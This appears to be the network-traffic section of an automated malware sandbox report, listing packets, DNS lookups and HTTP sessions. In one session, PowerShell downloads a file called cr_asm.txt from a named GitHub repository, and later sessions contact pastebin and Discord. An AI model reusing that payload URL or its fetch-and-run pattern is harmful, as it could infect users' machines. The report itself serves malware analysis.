Oct 15, 2024 15:59:28.379200935 CEST	443	49736	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:28.379255056 CEST	49736	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:28.379271984 CEST	443	49736	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:28.379319906 CEST	49736	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:28.494859934 CEST	443	49736	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:28.494906902 CEST	443	49736	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:28.494930029 CEST	443	49736	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:28.494951010 CEST	443	49736	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:28.494956970 CEST	49736	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:28.494957924 CEST	49736	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:28.495026112 CEST	443	49736	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:28.495073080 CEST	49736	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:28.495073080 CEST	49736	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:28.495073080 CEST	49736	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:28.495311022 CEST	443	49736	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:28.495471001 CEST	49736	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:28.495776892 CEST	443	49736	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:28.495810032 CEST	443	49736	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:28.495831013 CEST	443	49736	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:28.495851994 CEST	49736	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:28.495852947 CEST	49736	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:28.495868921 CEST	443	49736	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:28.495898008 CEST	49736	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:28.495915890 CEST	49736	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:28.496304989 CEST	443	49736	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:28.496335030 CEST	443	49736	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:28.496364117 CEST	49736	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:28.496382952 CEST	443	49736	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:28.496433973 CEST	49736	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:28.496433973 CEST	49736	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:28.496871948 CEST	443	49736	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:28.496911049 CEST	443	49736	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:28.496932030 CEST	49736	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:28.496949911 CEST	443	49736	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:28.496972084 CEST	49736	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:28.496994019 CEST	443	49736	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:28.496998072 CEST	49736	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:28.497009993 CEST	443	49736	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:28.497037888 CEST	49736	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:28.497073889 CEST	49736	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:28.497751951 CEST	443	49736	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:28.497813940 CEST	49736	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:28.498040915 CEST	443	49736	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:28.498102903 CEST	49736	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:28.498109102 CEST	443	49736	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:28.498142958 CEST	49736	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:28.498162985 CEST	443	49736	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:28.498186111 CEST	49736	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:28.498186111 CEST	49736	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:28.498231888 CEST	49736	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:32.556874990 CEST	49737	80	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:32.562951088 CEST	80	49737	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:32.563098907 CEST	49737	80	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:32.567075014 CEST	49737	80	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:32.572308064 CEST	80	49737	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:33.161463976 CEST	80	49737	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:33.162583113 CEST	80	49737	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:33.162678003 CEST	49737	80	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:33.164560080 CEST	49737	80	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:33.168668985 CEST	49738	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:33.168720961 CEST	443	49738	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:33.168804884 CEST	49738	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:33.169589996 CEST	80	49737	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:33.189291000 CEST	49738	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:33.189311981 CEST	443	49738	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:33.793499947 CEST	443	49738	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:33.793605089 CEST	49738	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:33.797123909 CEST	49738	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:33.797143936 CEST	443	49738	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:33.797391891 CEST	443	49738	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:33.804722071 CEST	49738	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:33.851408005 CEST	443	49738	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:34.019408941 CEST	443	49738	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:34.019592047 CEST	443	49738	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:34.019671917 CEST	49738	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:34.019686937 CEST	443	49738	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:34.019717932 CEST	443	49738	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:34.019921064 CEST	49738	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:34.019934893 CEST	443	49738	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:34.020311117 CEST	443	49738	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:34.020390034 CEST	49738	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:34.020395041 CEST	443	49738	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:34.026724100 CEST	443	49738	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:34.026786089 CEST	49738	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:34.059607029 CEST	49738	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:51.587723970 CEST	49740	80	192.168.2.4	172.67.19.24
Oct 15, 2024 15:59:51.592716932 CEST	80	49740	172.67.19.24	192.168.2.4
Oct 15, 2024 15:59:51.592807055 CEST	49740	80	192.168.2.4	172.67.19.24
Oct 15, 2024 15:59:51.594091892 CEST	49740	80	192.168.2.4	172.67.19.24
Oct 15, 2024 15:59:51.598906040 CEST	80	49740	172.67.19.24	192.168.2.4
Oct 15, 2024 15:59:52.218569040 CEST	80	49740	172.67.19.24	192.168.2.4
Oct 15, 2024 15:59:52.220833063 CEST	49741	443	192.168.2.4	172.67.19.24
Oct 15, 2024 15:59:52.220880032 CEST	443	49741	172.67.19.24	192.168.2.4
Oct 15, 2024 15:59:52.221002102 CEST	49741	443	192.168.2.4	172.67.19.24
Oct 15, 2024 15:59:52.224267960 CEST	49741	443	192.168.2.4	172.67.19.24
Oct 15, 2024 15:59:52.224289894 CEST	443	49741	172.67.19.24	192.168.2.4
Oct 15, 2024 15:59:52.269485950 CEST	49740	80	192.168.2.4	172.67.19.24
Oct 15, 2024 15:59:52.462208986 CEST	49742	443	192.168.2.4	162.159.138.232
Oct 15, 2024 15:59:52.462254047 CEST	443	49742	162.159.138.232	192.168.2.4
Oct 15, 2024 15:59:52.462352991 CEST	49742	443	192.168.2.4	162.159.138.232
Oct 15, 2024 15:59:52.462755919 CEST	49742	443	192.168.2.4	162.159.138.232
Oct 15, 2024 15:59:52.462771893 CEST	443	49742	162.159.138.232	192.168.2.4
Oct 15, 2024 15:59:52.850522041 CEST	443	49741	172.67.19.24	192.168.2.4
Oct 15, 2024 15:59:52.850593090 CEST	49741	443	192.168.2.4	172.67.19.24
Oct 15, 2024 15:59:52.906348944 CEST	49741	443	192.168.2.4	172.67.19.24
Oct 15, 2024 15:59:52.906372070 CEST	443	49741	172.67.19.24	192.168.2.4
Oct 15, 2024 15:59:52.907443047 CEST	443	49741	172.67.19.24	192.168.2.4
Oct 15, 2024 15:59:52.915921926 CEST	49741	443	192.168.2.4	172.67.19.24
Oct 15, 2024 15:59:52.963404894 CEST	443	49741	172.67.19.24	192.168.2.4
Oct 15, 2024 15:59:53.065481901 CEST	443	49741	172.67.19.24	192.168.2.4
Oct 15, 2024 15:59:53.065687895 CEST	443	49741	172.67.19.24	192.168.2.4
Oct 15, 2024 15:59:53.065747976 CEST	49741	443	192.168.2.4	172.67.19.24
Oct 15, 2024 15:59:53.078800917 CEST	49741	443	192.168.2.4	172.67.19.24
Oct 15, 2024 15:59:53.087169886 CEST	443	49742	162.159.138.232	192.168.2.4
Oct 15, 2024 15:59:53.087363958 CEST	49742	443	192.168.2.4	162.159.138.232
Oct 15, 2024 15:59:53.096556902 CEST	49742	443	192.168.2.4	162.159.138.232
Oct 15, 2024 15:59:53.096591949 CEST	443	49742	162.159.138.232	192.168.2.4
Oct 15, 2024 15:59:53.096872091 CEST	443	49742	162.159.138.232	192.168.2.4
Oct 15, 2024 15:59:53.097835064 CEST	49742	443	192.168.2.4	162.159.138.232
Oct 15, 2024 15:59:53.101108074 CEST	49743	80	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:53.106235027 CEST	80	49743	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:53.106370926 CEST	49743	80	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:53.106467962 CEST	49743	80	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:53.112478971 CEST	80	49743	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:53.143407106 CEST	443	49742	162.159.138.232	192.168.2.4
Oct 15, 2024 15:59:53.143485069 CEST	49742	443	192.168.2.4	162.159.138.232
Oct 15, 2024 15:59:53.143513918 CEST	443	49742	162.159.138.232	192.168.2.4
Oct 15, 2024 15:59:53.332061052 CEST	443	49742	162.159.138.232	192.168.2.4
Oct 15, 2024 15:59:53.332314014 CEST	443	49742	162.159.138.232	192.168.2.4
Oct 15, 2024 15:59:53.332376003 CEST	49742	443	192.168.2.4	162.159.138.232
Oct 15, 2024 15:59:53.340082884 CEST	49742	443	192.168.2.4	162.159.138.232
Oct 15, 2024 15:59:53.728348970 CEST	80	49743	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:53.728595018 CEST	49743	80	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:53.729465008 CEST	80	49743	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:53.729530096 CEST	49743	80	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:53.729772091 CEST	49744	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:53.729832888 CEST	443	49744	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:53.729976892 CEST	49744	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:53.730252028 CEST	49744	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:53.730274916 CEST	443	49744	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:53.733501911 CEST	80	49743	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:54.350431919 CEST	443	49744	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:54.350835085 CEST	49744	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:54.352478981 CEST	49744	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:54.352493048 CEST	443	49744	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:54.352855921 CEST	443	49744	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:54.354082108 CEST	49744	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:54.395420074 CEST	443	49744	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:54.704293013 CEST	443	49744	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:54.704463005 CEST	443	49744	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:54.704529047 CEST	443	49744	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:54.704598904 CEST	49744	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:54.704602003 CEST	443	49744	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:54.704629898 CEST	443	49744	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:54.704704046 CEST	49744	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:54.704713106 CEST	443	49744	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:54.704751968 CEST	49744	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:54.704765081 CEST	443	49744	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:54.704902887 CEST	443	49744	185.199.109.133	192.168.2.4
Oct 15, 2024 15:59:54.704969883 CEST	49744	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:54.782630920 CEST	49744	443	192.168.2.4	185.199.109.133
Oct 15, 2024 15:59:59.514312983 CEST	49745	80	192.168.2.4	172.67.19.24
Oct 15, 2024 15:59:59.900897980 CEST	80	49745	172.67.19.24	192.168.2.4
Oct 15, 2024 15:59:59.900980949 CEST	49745	80	192.168.2.4	172.67.19.24
Oct 15, 2024 15:59:59.908361912 CEST	49745	80	192.168.2.4	172.67.19.24
Oct 15, 2024 15:59:59.913317919 CEST	80	49745	172.67.19.24	192.168.2.4
Oct 15, 2024 16:00:00.529232025 CEST	80	49745	172.67.19.24	192.168.2.4
Oct 15, 2024 16:00:00.531366110 CEST	49746	443	192.168.2.4	172.67.19.24
Oct 15, 2024 16:00:00.531409979 CEST	443	49746	172.67.19.24	192.168.2.4
Oct 15, 2024 16:00:00.531662941 CEST	49746	443	192.168.2.4	172.67.19.24
Oct 15, 2024 16:00:00.534446955 CEST	49746	443	192.168.2.4	172.67.19.24
Oct 15, 2024 16:00:00.534461975 CEST	443	49746	172.67.19.24	192.168.2.4
Oct 15, 2024 16:00:00.582048893 CEST	49745	80	192.168.2.4	172.67.19.24
Oct 15, 2024 16:00:01.156943083 CEST	443	49746	172.67.19.24	192.168.2.4
Oct 15, 2024 16:00:01.157072067 CEST	49746	443	192.168.2.4	172.67.19.24
Oct 15, 2024 16:00:01.158679962 CEST	49746	443	192.168.2.4	172.67.19.24
Oct 15, 2024 16:00:01.158687115 CEST	443	49746	172.67.19.24	192.168.2.4
Oct 15, 2024 16:00:01.159535885 CEST	443	49746	172.67.19.24	192.168.2.4
Oct 15, 2024 16:00:01.166265011 CEST	49746	443	192.168.2.4	172.67.19.24
Oct 15, 2024 16:00:01.211402893 CEST	443	49746	172.67.19.24	192.168.2.4
Oct 15, 2024 16:00:01.312302113 CEST	443	49746	172.67.19.24	192.168.2.4
Oct 15, 2024 16:00:01.312611103 CEST	443	49746	172.67.19.24	192.168.2.4
Oct 15, 2024 16:00:01.312707901 CEST	49746	443	192.168.2.4	172.67.19.24
Oct 15, 2024 16:00:01.325257063 CEST	49746	443	192.168.2.4	172.67.19.24
Oct 15, 2024 16:00:01.340539932 CEST	49747	80	192.168.2.4	185.199.109.133
Oct 15, 2024 16:00:01.346590996 CEST	80	49747	185.199.109.133	192.168.2.4
Oct 15, 2024 16:00:01.348048925 CEST	49747	80	192.168.2.4	185.199.109.133
Oct 15, 2024 16:00:01.348216057 CEST	49747	80	192.168.2.4	185.199.109.133
Oct 15, 2024 16:00:01.354441881 CEST	80	49747	185.199.109.133	192.168.2.4
Oct 15, 2024 16:00:02.198314905 CEST	80	49747	185.199.109.133	192.168.2.4
Oct 15, 2024 16:00:02.198364019 CEST	80	49747	185.199.109.133	192.168.2.4
Oct 15, 2024 16:00:02.198429108 CEST	80	49747	185.199.109.133	192.168.2.4
Oct 15, 2024 16:00:02.198436975 CEST	49747	80	192.168.2.4	185.199.109.133
Oct 15, 2024 16:00:02.198473930 CEST	49747	80	192.168.2.4	185.199.109.133
Oct 15, 2024 16:00:02.198637009 CEST	49747	80	192.168.2.4	185.199.109.133
Oct 15, 2024 16:00:02.199790955 CEST	49748	443	192.168.2.4	185.199.109.133
Oct 15, 2024 16:00:02.199824095 CEST	443	49748	185.199.109.133	192.168.2.4
Oct 15, 2024 16:00:02.199918985 CEST	49748	443	192.168.2.4	185.199.109.133
Oct 15, 2024 16:00:02.200186968 CEST	49748	443	192.168.2.4	185.199.109.133
Oct 15, 2024 16:00:02.200200081 CEST	443	49748	185.199.109.133	192.168.2.4
Oct 15, 2024 16:00:02.209184885 CEST	80	49747	185.199.109.133	192.168.2.4
Oct 15, 2024 16:00:02.810569048 CEST	443	49748	185.199.109.133	192.168.2.4
Oct 15, 2024 16:00:02.810664892 CEST	49748	443	192.168.2.4	185.199.109.133
Oct 15, 2024 16:00:02.909914970 CEST	49748	443	192.168.2.4	185.199.109.133
Oct 15, 2024 16:00:02.909946918 CEST	443	49748	185.199.109.133	192.168.2.4
Oct 15, 2024 16:00:02.910934925 CEST	443	49748	185.199.109.133	192.168.2.4
Oct 15, 2024 16:00:02.946649075 CEST	49748	443	192.168.2.4	185.199.109.133
Oct 15, 2024 16:00:02.991410017 CEST	443	49748	185.199.109.133	192.168.2.4
Oct 15, 2024 16:00:03.071736097 CEST	443	49748	185.199.109.133	192.168.2.4
Oct 15, 2024 16:00:03.071938038 CEST	443	49748	185.199.109.133	192.168.2.4
Oct 15, 2024 16:00:03.071995974 CEST	49748	443	192.168.2.4	185.199.109.133
Oct 15, 2024 16:00:03.072010040 CEST	443	49748	185.199.109.133	192.168.2.4
Oct 15, 2024 16:00:03.072102070 CEST	443	49748	185.199.109.133	192.168.2.4
Oct 15, 2024 16:00:03.072149992 CEST	49748	443	192.168.2.4	185.199.109.133
Oct 15, 2024 16:00:03.072159052 CEST	443	49748	185.199.109.133	192.168.2.4
Oct 15, 2024 16:00:03.072242022 CEST	443	49748	185.199.109.133	192.168.2.4
Oct 15, 2024 16:00:03.072288036 CEST	49748	443	192.168.2.4	185.199.109.133
Oct 15, 2024 16:00:03.072293997 CEST	443	49748	185.199.109.133	192.168.2.4
Oct 15, 2024 16:00:03.078412056 CEST	443	49748	185.199.109.133	192.168.2.4
Oct 15, 2024 16:00:03.078469992 CEST	49748	443	192.168.2.4	185.199.109.133
Oct 15, 2024 16:00:03.143800020 CEST	49748	443	192.168.2.4	185.199.109.133
Oct 15, 2024 16:00:07.621099949 CEST	49749	443	192.168.2.4	162.159.138.232
Oct 15, 2024 16:00:07.621149063 CEST	443	49749	162.159.138.232	192.168.2.4
Oct 15, 2024 16:00:07.621341944 CEST	49749	443	192.168.2.4	162.159.138.232
Oct 15, 2024 16:00:07.621773005 CEST	49749	443	192.168.2.4	162.159.138.232
Oct 15, 2024 16:00:07.621787071 CEST	443	49749	162.159.138.232	192.168.2.4
Oct 15, 2024 16:00:08.231175900 CEST	443	49749	162.159.138.232	192.168.2.4
Oct 15, 2024 16:00:08.231409073 CEST	49749	443	192.168.2.4	162.159.138.232
Oct 15, 2024 16:00:08.232790947 CEST	49749	443	192.168.2.4	162.159.138.232
Oct 15, 2024 16:00:08.232805967 CEST	443	49749	162.159.138.232	192.168.2.4
Oct 15, 2024 16:00:08.233053923 CEST	443	49749	162.159.138.232	192.168.2.4
Oct 15, 2024 16:00:08.233906984 CEST	49749	443	192.168.2.4	162.159.138.232
Oct 15, 2024 16:00:08.279407978 CEST	443	49749	162.159.138.232	192.168.2.4
Oct 15, 2024 16:00:08.279481888 CEST	49749	443	192.168.2.4	162.159.138.232
Oct 15, 2024 16:00:08.279505014 CEST	443	49749	162.159.138.232	192.168.2.4
Oct 15, 2024 16:00:08.497196913 CEST	443	49749	162.159.138.232	192.168.2.4
Oct 15, 2024 16:00:08.497406006 CEST	443	49749	162.159.138.232	192.168.2.4
Oct 15, 2024 16:00:08.497471094 CEST	49749	443	192.168.2.4	162.159.138.232
Oct 15, 2024 16:00:08.500015020 CEST	49749	443	192.168.2.4	162.159.138.232
Oct 15, 2024 16:00:13.527084112 CEST	49740	80	192.168.2.4	172.67.19.24
Oct 15, 2024 16:00:15.465471983 CEST	49763	443	192.168.2.4	162.159.138.232
Oct 15, 2024 16:00:15.465519905 CEST	443	49763	162.159.138.232	192.168.2.4
Oct 15, 2024 16:00:15.465607882 CEST	49763	443	192.168.2.4	162.159.138.232
Oct 15, 2024 16:00:15.466248989 CEST	49763	443	192.168.2.4	162.159.138.232
Oct 15, 2024 16:00:15.466265917 CEST	443	49763	162.159.138.232	192.168.2.4
Oct 15, 2024 16:00:16.082010031 CEST	443	49763	162.159.138.232	192.168.2.4
Oct 15, 2024 16:00:16.082103014 CEST	49763	443	192.168.2.4	162.159.138.232
Oct 15, 2024 16:00:16.083828926 CEST	49763	443	192.168.2.4	162.159.138.232
Oct 15, 2024 16:00:16.083843946 CEST	443	49763	162.159.138.232	192.168.2.4
Oct 15, 2024 16:00:16.084328890 CEST	443	49763	162.159.138.232	192.168.2.4
Oct 15, 2024 16:00:16.091759920 CEST	49763	443	192.168.2.4	162.159.138.232
Oct 15, 2024 16:00:16.139405012 CEST	443	49763	162.159.138.232	192.168.2.4
Oct 15, 2024 16:00:16.139491081 CEST	49763	443	192.168.2.4	162.159.138.232
Oct 15, 2024 16:00:16.139503956 CEST	443	49763	162.159.138.232	192.168.2.4
Oct 15, 2024 16:00:16.360263109 CEST	443	49763	162.159.138.232	192.168.2.4
Oct 15, 2024 16:00:16.360369921 CEST	443	49763	162.159.138.232	192.168.2.4
Oct 15, 2024 16:00:16.360501051 CEST	49763	443	192.168.2.4	162.159.138.232
Oct 15, 2024 16:00:16.362966061 CEST	49763	443	192.168.2.4	162.159.138.232
Oct 15, 2024 16:00:21.398005009 CEST	49745	80	192.168.2.4	172.67.19.24

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 15, 2024 15:59:26.032682896 CEST	56469	53	192.168.2.4	1.1.1.1
Oct 15, 2024 15:59:26.040072918 CEST	53	56469	1.1.1.1	192.168.2.4
Oct 15, 2024 15:59:27.494472027 CEST	56654	53	192.168.2.4	1.1.1.1
Oct 15, 2024 15:59:27.501832962 CEST	53	56654	1.1.1.1	192.168.2.4
Oct 15, 2024 15:59:32.538417101 CEST	50729	53	192.168.2.4	1.1.1.1
Oct 15, 2024 15:59:32.546056032 CEST	53	50729	1.1.1.1	192.168.2.4
Oct 15, 2024 15:59:51.573410988 CEST	64968	53	192.168.2.4	1.1.1.1
Oct 15, 2024 15:59:51.581504107 CEST	53	64968	1.1.1.1	192.168.2.4
Oct 15, 2024 15:59:52.453298092 CEST	60248	53	192.168.2.4	1.1.1.1
Oct 15, 2024 15:59:52.461483955 CEST	53	60248	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 15, 2024 15:59:26.032682896 CEST	192.168.2.4	1.1.1.1	0xb720	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 15:59:27.494472027 CEST	192.168.2.4	1.1.1.1	0xc429	Standard query (0)	objects.githubusercontent.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 15:59:32.538417101 CEST	192.168.2.4	1.1.1.1	0x9092	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 15:59:51.573410988 CEST	192.168.2.4	1.1.1.1	0x30d8	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 15:59:52.453298092 CEST	192.168.2.4	1.1.1.1	0xd6a	Standard query (0)	discord.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 15, 2024 15:59:26.040072918 CEST	1.1.1.1	192.168.2.4	0xb720	No error (0)	github.com	140.82.121.3	A (IP address)	IN (0x0001)	false
Oct 15, 2024 15:59:27.501832962 CEST	1.1.1.1	192.168.2.4	0xc429	No error (0)	objects.githubusercontent.com	185.199.109.133	A (IP address)	IN (0x0001)	false
Oct 15, 2024 15:59:27.501832962 CEST	1.1.1.1	192.168.2.4	0xc429	No error (0)	objects.githubusercontent.com	185.199.108.133	A (IP address)	IN (0x0001)	false
Oct 15, 2024 15:59:27.501832962 CEST	1.1.1.1	192.168.2.4	0xc429	No error (0)	objects.githubusercontent.com	185.199.111.133	A (IP address)	IN (0x0001)	false
Oct 15, 2024 15:59:27.501832962 CEST	1.1.1.1	192.168.2.4	0xc429	No error (0)	objects.githubusercontent.com	185.199.110.133	A (IP address)	IN (0x0001)	false
Oct 15, 2024 15:59:32.546056032 CEST	1.1.1.1	192.168.2.4	0x9092	No error (0)	raw.githubusercontent.com	185.199.109.133	A (IP address)	IN (0x0001)	false
Oct 15, 2024 15:59:32.546056032 CEST	1.1.1.1	192.168.2.4	0x9092	No error (0)	raw.githubusercontent.com	185.199.111.133	A (IP address)	IN (0x0001)	false
Oct 15, 2024 15:59:32.546056032 CEST	1.1.1.1	192.168.2.4	0x9092	No error (0)	raw.githubusercontent.com	185.199.108.133	A (IP address)	IN (0x0001)	false
Oct 15, 2024 15:59:32.546056032 CEST	1.1.1.1	192.168.2.4	0x9092	No error (0)	raw.githubusercontent.com	185.199.110.133	A (IP address)	IN (0x0001)	false
Oct 15, 2024 15:59:51.581504107 CEST	1.1.1.1	192.168.2.4	0x30d8	No error (0)	pastebin.com	172.67.19.24	A (IP address)	IN (0x0001)	false
Oct 15, 2024 15:59:51.581504107 CEST	1.1.1.1	192.168.2.4	0x30d8	No error (0)	pastebin.com	104.20.3.235	A (IP address)	IN (0x0001)	false
Oct 15, 2024 15:59:51.581504107 CEST	1.1.1.1	192.168.2.4	0x30d8	No error (0)	pastebin.com	104.20.4.235	A (IP address)	IN (0x0001)	false
Oct 15, 2024 15:59:52.461483955 CEST	1.1.1.1	192.168.2.4	0xd6a	No error (0)	discord.com	162.159.138.232	A (IP address)	IN (0x0001)	false
Oct 15, 2024 15:59:52.461483955 CEST	1.1.1.1	192.168.2.4	0xd6a	No error (0)	discord.com	162.159.137.232	A (IP address)	IN (0x0001)	false
Oct 15, 2024 15:59:52.461483955 CEST	1.1.1.1	192.168.2.4	0xd6a	No error (0)	discord.com	162.159.128.233	A (IP address)	IN (0x0001)	false
Oct 15, 2024 15:59:52.461483955 CEST	1.1.1.1	192.168.2.4	0xd6a	No error (0)	discord.com	162.159.136.232	A (IP address)	IN (0x0001)	false
Oct 15, 2024 15:59:52.461483955 CEST	1.1.1.1	192.168.2.4	0xd6a	No error (0)	discord.com	162.159.135.232	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

github.com

objects.githubusercontent.com

raw.githubusercontent.com

pastebin.com

discord.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49737	185.199.109.133	80	7744	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 15, 2024 15:59:32.567075014 CEST	223	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
Oct 15, 2024 15:59:33.161463976 CEST	542	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm.txt Accept-Ranges: bytes Date: Tue, 15 Oct 2024 13:59:33 GMT Via: 1.1 varnish X-Served-By: cache-dfw-kdfw8210063-DFW X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1729000773.096975,VS0,VE0 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Expires: Tue, 15 Oct 2024 14:04:33 GMT Vary: Authorization,Accept-Encoding

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49740	172.67.19.24	80	5660	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
